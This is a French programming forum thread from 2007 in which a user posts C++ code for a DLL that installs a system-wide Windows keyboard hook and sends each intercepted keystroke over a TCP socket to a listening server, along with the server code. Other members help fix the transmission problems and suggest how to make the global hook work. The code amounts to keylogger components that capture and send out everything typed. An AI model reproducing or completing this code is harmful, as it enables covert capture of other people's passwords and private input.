Vous ne trouvez pas de réponse à votre problème ? Alors posez la question dans le forum. Souvenez-vous qu'il n'y a jamais de question bête, mais rester dans l'ignorance parce que l'on n'ose pas poser une question, ça c'est une erreur !

Sujet : Probleme entre DLL et socket [ Windows / Réseau & Internet ] (XKaliBur)

dimanche 14 janvier 2007 à 01:32:16 | Probleme entre DLL et socket

XKaliBur

Membre Club
Le probleme est que je réalise un hook sur mon clavier et que chaque frappe interceptée je veux l'envoyer via un socket à un serveur, mais des que j'envois le send() le serveur n'affiche rien et pourtant je suis bien connecté, j'arrive pas à comprendre pourquoi. Merci d'avance.

Code de la DLL :
#include "DLL.h"
#include "stdafx.h"
#include <iostream>
#include <stdio.h>

//winsock
#include <winsock2.h>
#pragma comment(lib, "ws2_32.lib")

//variables general
WSADATA WSAData;
SOCKET sock;
SOCKADDR_IN sin;
char buffer[512];
//\\winsock

//Variables
HHOOK hook;
static HINSTANCE hDLLInstance;


/*******************************************/
void InitConnexion()
{
    WSAStartup(MAKEWORD(2,0), &WSAData);

    sock=socket(AF_INET, SOCK_STREAM, 0);

    sin.sin_addr.s_addr = inet_addr("127.0.0.1");
    sin.sin_family = AF_INET;
    sin.sin_port = htons(4444);

    int status;
    status=connect(sock, (SOCKADDR *)&sin, sizeof(sin));
    if(status==INVALID_SOCKET)
    {
        MessageBox(NULL,
                    "Erreur connexion",
                    "ERREUR",MB_OK|MB_ICONERROR);
    }

}

void SendChar(char c)
{
    std::string Str;
    Str = c;
    sprintf (buffer, "%s", Str.c_str());
    send (sock, buffer, strlen (buffer), 0);
}
/********************************************/


//main
BOOL APIENTRY DllMain( HINSTANCE hInstance,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{

    InitConnexion();

    switch (ul_reason_for_call)
    {
        case DLL_PROCESS_ATTACH:
            hDLLInstance = hInstance; //Garde en mémoire l'instance pour SetWindowsHook()
            break;
        case DLL_THREAD_ATTACH:
        case DLL_THREAD_DETACH:
        case DLL_PROCESS_DETACH:
            break;
    }
    return TRUE;
}


LRESULT CALLBACK KeyboardHook(int nCode, WORD wParam, DWORD lParam)
{
    char ch;
    LRESULT NextHook = CallNextHookEx(hook, nCode, wParam, lParam);
    //Prépare la valeur de retour de la fonction et passe le message à un autre Hook              

    //Si la frappe a déjà été traitée (c'est une répétition)
    if(!((DWORD)lParam & 0x40000000 && (HC_ACTION==nCode)))
        return NextHook; //alors on passe la main à un autre Hook
 
    BYTE Keyboard_state[256];
    GetKeyboardState(Keyboard_state);
    WORD wBuf;
    UINT ScanCode=0;
    ToAscii(wParam,ScanCode,Keyboard_state,&wBuf,0);
    ch=((char)wBuf);
   
    SendChar(ch);

    
    return NextHook;//Passe la main à un autre Hook

}


__declspec(dllexport) int Start()
{
    hook = SetWindowsHookEx(WH_KEYBOARD,
                            (HOOKPROC)KeyboardHook,
                            hDLLInstance,
                            0);

    return ((hook!=0)?1:0);
}

Code du serveur :
#include <winsock2.h>
#pragma comment(lib, "ws2_32.lib")
#include <stdio.h>
#include <iostream>

#define BUFSIZ 512

void main()
{
    WSADATA WSAData;
    WSAStartup(MAKEWORD(2,0), &WSAData);

    SOCKET sock;
    SOCKET csock;
    SOCKADDR_IN sin;
    SOCKADDR_IN csin;
    char buffer[BUFSIZ];

    sock = socket(AF_INET, SOCK_STREAM, 0);
    sin.sin_addr.s_addr            = INADDR_ANY;
    sin.sin_family                = AF_INET;
    sin.sin_port                = htons(4444);
    bind(sock, (SOCKADDR *)&sin, sizeof(sin));

    listen(sock, 0);int sinsize = sizeof(csin);
    csock = accept(sock, (SOCKADDR *)&csin, &sinsize);
   
    while(1)
    {
        memset(buffer, '\0', BUFSIZ); //on vide le buffer
        recv(csock, buffer, sizeof(buffer), 0);
        printf("%s",buffer);
    }
}



dimanche 14 janvier 2007 à 03:10:37 | Re : Probleme entre DLL et socket

BruNews

Administrateur CodeS-SourceS
Pas le temps de regarder tes probs de transmission.

Mais alors ceci semble une vraie plaisanterie:
std::string Str;
Str = c;
sprintf (buffer, "%s", Str.c_str());
send (sock, buffer, strlen (buffer), 0);
Faudra prévoir un octo Itanium minimum si tu prog tout ainsi...

buffer[0] = c;
send (sock, buffer, 1, 0);
suffirait largement.

ciao...
BruNews, MVP VC++

dimanche 14 janvier 2007 à 08:39:20 | Re : Probleme entre DLL et socket

vicenzo

Membre Club
C'est normal que le serveur n'affiche rien car tu lui indique de recevoir 512 bytes. Ton socket est en mode bloquant, c'est à dire que recv ne retournera que lorsque tu aura aura recu 512 bytes ou quand la connexion sera fernée ou perdue.... Donc, tu recevra quelque chose tousles 512 charactères tapés sur le clavier !

Il faut toutjours :

    * soit faire en 2 temps : tu envoi la taille codée sur un nombre de bytes donnée (soi en brut - 4 bytes et tu envoi la taille directe - soit la taille convertie dans un buffer char dont la taille est fixée à l'avance - ce qui est plus portable en fonction des processeurs (big /little) mais plus lourd -.)
    * soit faire un recv byte par byte et s'arrêt lorsque le byte est un (ou des)  byte (s) d'arrêt que tu a choi à l'avance (\n; \r\n, ...)

Dans ton cas très simple, si tu veux envoyer juste un charactère, fais comme BruNews d'indique tu envoi un buffer dont la taille est connue à l'avance : 1 bytes....

Par contre ce qui pertubant, c'est ton code utilise TCP (SOCK_STREAM) et non pas UDP(SOCK_DGRAM). En TCP, chaque envoi de paquet sur le réseau nécessite un acquittement de l'autre coté afin de préserver le plus possible l'intégrité des données (c'est du ping pong !). Donc chaque fois que tu tape sur une touche, ta machine attend une réponse du réseau... Lourd !! En UDP, tu envoie sans te soucier du retour, c'est donc beaucoup plus light et rapide mais les connexions sont moins sûres... Je pense que tu devrais passer en UDP....


dimanche 14 janvier 2007 à 13:28:57 | Re : Probleme entre DLL et socket

XKaliBur

Membre Club
Merci de vos réponse, du coter du serveur j'ai remplacer :
    char buffer[BUFSIZ];
    ....
    memset(buffer, '\0', BUFSIZ); //on vide le buffer
    recv(csock, buffer, sizeof(buffer), 0);
    printf("%s",buffer);


par :
    char buffer[1];
    ....
    memset(buffer, '\0', 2);
    recv(csock, buffer, 1, 0);
    printf("%s",buffer);


Et du coter de la dll j'ai remplacer :
    char buffer[512];
    ....
    void SendChar(char c)
    {
        std::string Str;
        Str = c;
        sprintf (buffer, "%s", Str.c_str());
        send (sock, buffer, strlen (buffer), 0);
    }


Par :
    char buffer[1];
    ....
    void SendChar(char c)
    {
        buffer[0] = c;
        send (sock, buffer, 1, 0);
    }



Mais du coter serveur ça ne m'affiche toujours rien.


dimanche 14 janvier 2007 à 13:45:05 | Re : Probleme entre DLL et socket

BruNews

Administrateur CodeS-SourceS

char buffer[1];
memset(buffer, '\0', 2);
heureusement que le compilo aura traduit buffer[1] en buffer[4] sinon badaboum, tu aurais memset 2 octets sur un buffer de 1.
Faut te plonger dans un bouquin de C et réfléchir à ce que tu écris.
memset génère une boucle totalement inutile, buffer[0] = 0 suffit pour 1 octet.

ciao...
BruNews, MVP VC++


dimanche 14 janvier 2007 à 13:50:56 | Re : Probleme entre DLL et socket

XKaliBur

Membre Club
Dsl faute de frappe dans mon code y'a bien 1.

Mais si j'appelle la fonction SendChar juste après le InitConnexion() dans le DllMain, le serveur recoit tres bien les caractere , c'est des que je met un SendChar dans Hook y'a plus rien qui ce passe ...



dimanche 14 janvier 2007 à 17:06:12 | Re : Probleme entre DLL et socket

XKaliBur

Membre Club
Personne a une idée ???

dimanche 14 janvier 2007 à 17:24:08 | Re : Probleme entre DLL et socket

aardman

Membre Club
Réponse acceptée !
Salut,
Ton socket est valide uniquement dans le contexte du processus qui l'a créé, et comme ta dll de hook est mappée dans plein de processus... ca risque pas de marcher. Il faut aussi appeler WSAStartup() avant d'utiliser les sockets dans un processus.
Les hooks c'est assez compliqué, les sockets aussi, alors moi je te conseillerais plutot de pas mélanger les deux.



dimanche 14 janvier 2007 à 17:28:01 | Re : Probleme entre DLL et socket

XKaliBur

Membre Club
Ok je crois comprendre à peut pret ce que tu veux dire, mais il n'y a pas un solution pour palier à ce problème ?

dimanche 14 janvier 2007 à 17:44:34 | Re : Probleme entre DLL et socket

BruNews

Administrateur CodeS-SourceS
Réponse acceptée !
Il y a 2 hook que l'on peut faire global system sans dll, clavier et souris car le system les gère en tant que ressources partagées.
Voila qui devrait résoudre le prob énoncé par aardman.

ciao...
BruNews, MVP VC++


1 2

Cette discussion est classé dans : buffer, dll, socket, sin, sock


Répondre à ce message

Sujets en rapport avec ce message

Problème de Socket(recv) [ par YnOThAr ] Voila je suis en train d'essayer de faire un client FTp mais j'ai vraiment du mal...mon preblème c ke j'arrive pas à réceptionner les réponses du serv link avec GCC [ par mrjulien ] Bonjours a tous.Je compile avec gcc sous windows (grâce a mingw). Je ne souhaite pas vous ennuyer en créant un topic redondant, mais je n'arrive pas à Socket Server/Client [ par XKaliBur ] Je suis débutant et je voudrais faire en sorte d'envoyer un message au mon serveur et des que ce dernier reçoit un message, il réponde en fonction de Socket en C [ par RM50Man ] WSADATA ws;                    WSAStartup(MAKEWORD(2,0), &ws);              &n [socket et api win]recevoir et envoyer en meme temps [ par shadow1779 ] Bonjour je me suis fais un petit programme irc qui me servira de bot pour auto-op des personne ou d'autre taches diverses, le client aura une boite de Probléme pour lire le buffer au lancement de la connexion [ par logant83 ] Bonsoir, voila enfaite j'ai établi une connexion sur un server irc grace au socket mais quand je recois sur le buffer les différente informations (Ell probleme boucles mutliple avec les sockets [ par miki42 ] Bonjour a tous voila j'ai pa le choix,deja une semaine que je mord la langue pour trouver dou vient mon probleme mais rien y fait suit obliger de fari Socket Requette HTTP Post - Enlever le header de la réponse [ par SuperChouquette ] Bonjour, je suis débutant et à l'aide d'autres sources j'ai créer une fonction pour envoyer une requete POST à un serveur web, celle-ci fonctionne bie Client / Serveur => Je m'enmèle les pinceaux avec le buffer, les boucles etc. [C] [ par matad0r ] Bonjour, bonjour!J'ai récemment créé une petite application client/serveur de rien du tout (je suis débutant), en m'aidant de ça : http://c.developpez probleme avec une boucle do while [ par miki42 ] Bonjour a tous,voila je realise un logiciel de brute force ftp ceci etant pour améliorer mon niveau en programation,bref j'ai un probleme sur ma boucl


Nos sponsors

Sondage...

CalendriCode

Juillet 2009
LMMJVSD
  12345
6789101112
13141516171819
20212223242526
2728293031  

Consulter la suite du CalendriCode

Téléchargements

Logiciels à télécharger sur le même thème :

Comparez les prix Nouvelle version

Photothèque Nouveau !



Développement réalisé par Nicolas SOREL (Nix) avec l'aide de : Cyril DURAND et Emmanuel (EBArtSoft), Merci à Vincent pour ses précieux conseils
CodeS-SourceS.com© Toute reproduction même partielle est interdite sauf accord écrit du Webmaster
CodeS-SourceS.com© est une marque déposée tous droits réservés
Temps d'éxécution de la page : 0,920 sec

Google Coop CodeS-SourceS Google Coop CodeS-SourceS


Certaines images présentes sur le site (notament certains avatars) sont issues des collections IconShock, donc si vous souhaitez utiliser ces icons vous devez les acheter, ne les copiez pas et ne utilisez pas dans vos sites et applications sans les avoir commandé.